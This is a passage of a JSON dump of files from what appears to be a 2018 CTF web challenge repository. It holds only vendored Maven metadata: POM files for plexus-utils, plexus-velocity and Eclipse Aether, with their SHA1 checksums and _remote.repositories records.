<artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom.sha1",
    "content": "ffd8cee6475d101a5697091e1c18b0d08e3a8ff8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nplexus-utils-2.0.5.jar>central=\nplexus-utils-2.0.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.jar.sha1",
    "content": "7841ba10ea46c9611ce702c3833ff9fccc8ae6eb"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>2.0.6</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>plexus-utils</artifactId>\n  <version>2.0.5</version>\n\n  <name>Plexus Common Utilities</name>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.5</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.5</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-2.0.5</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom.sha1",
    "content": "51785edd83de609389ba142c9516752a4246aefc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:28 CST 2018\nplexus-utils-3.0.jar>central=\nplexus-utils-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/plexus-utils-3.0.jar.sha1",
    "content": "d63aa0daf60d573bada235e2b4207617dcf24959"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/plexus-utils-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>16</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>  \n  <artifactId>plexus-utils</artifactId>\n  <version>3.0</version>\n\n  <name>Plexus Common Utilities</name>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-utils.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-utils.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-utils</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  \n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.3.2</version>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-source-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-deploy-plugin</artifactId>\n        <version>2.6</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/plexus-utils-3.0.pom.sha1",
    "content": "fe3d8457b0cf4e219fd8e3edad5054b8e38f17b0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:00 CST 2018\nplexus-utils-3.0.10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.10/plexus-utils-3.0.10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>3.3</version>\n  </parent>\n\n  <artifactId>plexus-utils</artifactId>\n  <version>3.0.10</version>\n\n  <name>Plexus Common Utilities</name>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and\n    more.\n  </description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-utils.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-utils.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-utils</url>\n    <tag>plexus-utils-3.0.10</tag>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.1.1</version>\n        <executions>\n          <execution>\n            <id>enforce-java</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireJavaVersion>\n                  <version>1.7.0</version>\n                </requireJavaVersion>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.10/plexus-utils-3.0.10.pom.sha1",
    "content": "c70632156c3f19286424329d71e82b2026b90471"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:40 CST 2018\nplexus-utils-3.0.5.jar>central=\nplexus-utils-3.0.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/plexus-utils-3.0.5.jar.sha1",
    "content": "3da9c286180a66aba197db8ffa7bbdc756c3e31f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/plexus-utils-3.0.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>3.1</version>\n  </parent>\n\n  <artifactId>plexus-utils</artifactId>\n  <version>3.0.5</version>\n\n  <name>Plexus Common Utilities</name>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-utils.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-utils.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-utils</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/plexus-utils-3.0.5.pom.sha1",
    "content": "880976a01d8f71ced7c8da841e571479bb7b6021"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:03 CST 2018\nplexus-velocity-1.1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.7/plexus-velocity-1.1.7.pom",
    "content": "<!--\nCopyright 2001-2006 Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.12</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-velocity</artifactId>\n  <name>Plexus Velocity Component</name>\n  <version>1.1.7</version>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-20</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId>\n      <version>2.0</version>\n    </dependency>    \n    <dependency>\n      <groupId>velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.4</version>\n    </dependency>\n  </dependencies>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.7</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.7</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-velocity-1.1.7</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.7/plexus-velocity-1.1.7.pom.sha1",
    "content": "659f8ef80ef0cc3d101e63535b9c5a39f7bc4b3e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nplexus-velocity-1.1.8.jar>central=\nplexus-velocity-1.1.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/plexus-velocity-1.1.8.jar.sha1",
    "content": "d6b34818c82cd2e2f7bc75a2852d31283d154291"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/plexus-velocity-1.1.8.pom",
    "content": "<!--\nCopyright 2001-2006 Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.15</version>\n  </parent>\n\n  <artifactId>plexus-velocity</artifactId>\n  <version>1.1.8</version>\n\n  <name>Plexus Velocity Component</name>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.8</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.8</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-velocity-1.1.8</url>\n  </scm>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId>\n      <version>3.1</version>\n    </dependency>\n    <dependency>\n      <groupId>velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.5</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/plexus-velocity-1.1.8.pom.sha1",
    "content": "7023c6a73051a5addaa912405ef0a95e56c64c7e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether/0.9.0.M2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:30 CST 2018\naether-0.9.0.M2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether/0.9.0.M2/aether-0.9.0.M2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n ~ Copyright (c) 2010, 2013 Sonatype, Inc.\n ~ All rights reserved. This program and the accompanying materials\n ~ are made available under the terms of the Eclipse Public License v1.0\n ~ which accompanies this distribution, and is available at\n ~ http://www.eclipse.org/legal/epl-v10.html\n ~\n ~ Contributors:\n ~    Sonatype, Inc. - initial API and implementation\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.eclipse.aether</groupId>\n  <artifactId>aether</artifactId>\n  <version>0.9.0.M2</version>\n  <packaging>pom</packaging>\n\n  <name>Aether</name>\n  <description>\n    The parent and aggregator for the repository system.\n  </description>\n  <url>http://www.eclipse.org/aether/</url>\n  <inceptionYear>2010</inceptionYear>\n\n  <organization>\n    <name>The Eclipse Foundation</name>\n    <url>http://www.eclipse.org/</url>\n  </organization>\n\n  <mailingLists>\n    <mailingList>\n      <name>Aether Developer List</name>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/aether-dev</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/aether-dev</unsubscribe>\n      <post>aether-dev@eclipse.org</post>\n      <archive>http://dev.eclipse.org/mhonarc/lists/aether-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Aether User List</name>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/aether-users</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/aether-users</unsubscribe>\n      <post>aether-users@eclipse.org</post>\n      <archive>http://dev.eclipse.org/mhonarc/lists/aether-users/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Aether Commit Notification List</name>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/aether-commit</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/aether-commit</unsubscribe>\n      <archive>http://dev.eclipse.org/mhonarc/lists/aether-commit/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Aether CI Notification List</name>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/aether-build</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/aether-build</unsubscribe>\n      <archive>http://dev.eclipse.org/mhonarc/lists/aether-build/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git://git.eclipse.org/gitroot/aether/aether-core.git</connection>\n    <developerConnection>scm:git:ssh://git.eclipse.org/gitroot/aether/aether-core.git</developerConnection>\n    <url>http://git.eclipse.org/c/aether/aether-core.git/tree/</url>\n  </scm>\n\n  <issueManagement>\n    <system>bugzilla</system>\n    <url>https://bugs.eclipse.org/bugs/buglist.cgi?query_format=specific&amp;order=relevance+desc&amp;bug_status=__open__&amp;product=Aether</url>\n  </issueManagement>\n\n  <ciManagement>\n    <system>Hudson</system>\n    <url>https://hudson.eclipse.org/hudson/job/aether-core-nightly/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>sonatype-nexus-staging</id>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>${sonatypeOssDistMgmtSnapshotsId}</id>\n      <url>${sonatypeOssDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <licenses>\n    <license>\n      <name>Eclipse Public License, Version 1.0</name>\n      <url>http://www.eclipse.org/legal/epl-v10.html</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>bbentmann</id>\n      <name>Benjamin Bentmann</name>\n      <roles>\n        <role>Project Lead</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason Van Zyl</name>\n      <roles>\n        <role>Project Lead</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <modules>\n    <module>aether-api</module>\n    <module>aether-spi</module>\n    <module>aether-util</module>\n    <module>aether-impl</module>\n    <module>aether-test-util</module>\n    <module>aether-connector-file</module>\n    <module>aether-connector-wagon</module>\n    <module>aether-connector-asynchttpclient</module>\n  </modules>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <surefire.redirectTestOutputToFile>true</surefire.redirectTestOutputToFile>\n    <sonatypeOssDistMgmtSnapshotsId>sonatype-nexus-snapshots</sonatypeOssDistMgmtSnapshotsId>\n    <sonatypeOssDistMgmtSnapshotsUrl>https://oss.sonatype.org/content/repositories/snapshots/</sonatypeOssDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-spi</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-util</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-impl</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-connector-file</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-connector-wagon</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-connector-asynchttpclient</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.eclipse.aether</groupId>\n        <artifactId>aether-test-util</artifactId>\n        <version>${project.version}</version>\n        <scope>test</scope>\n      </dependency>\n\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>4.8.2</version>\n        <scope>test</scope>\n      </dependency>\n\n      <dependency>\n        <groupId>javax.inject</groupId>\n        <artifactId>javax.inject</artifactId>\n        <version>1</version>\n        <scope>provided</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n        <scope>provided</scope>\n      </dependency>\n\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-inject-plexus</artifactId>\n        <version>2.3.0</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>1.6.2</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.3.7</version>\n          <configuration>\n            <instructions>\n              <Bundle-DocURL>${project.url}</Bundle-DocURL>\n              <Bundle-Name>${project.name} (Incubation)</Bundle-Name>\n              <Bundle-SymbolicName>${bundle.symbolicName}</Bundle-SymbolicName>\n              <Bundle-Version>${bundle.osgiVersion}</Bundle-Version>\n            </instructions>\n          </configuration>\n          <executions>\n            <execution>\n              <id>create-manifest</id>\n              <phase>process-test-classes</phase>\n              <goals>\n                <goal>manifest</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          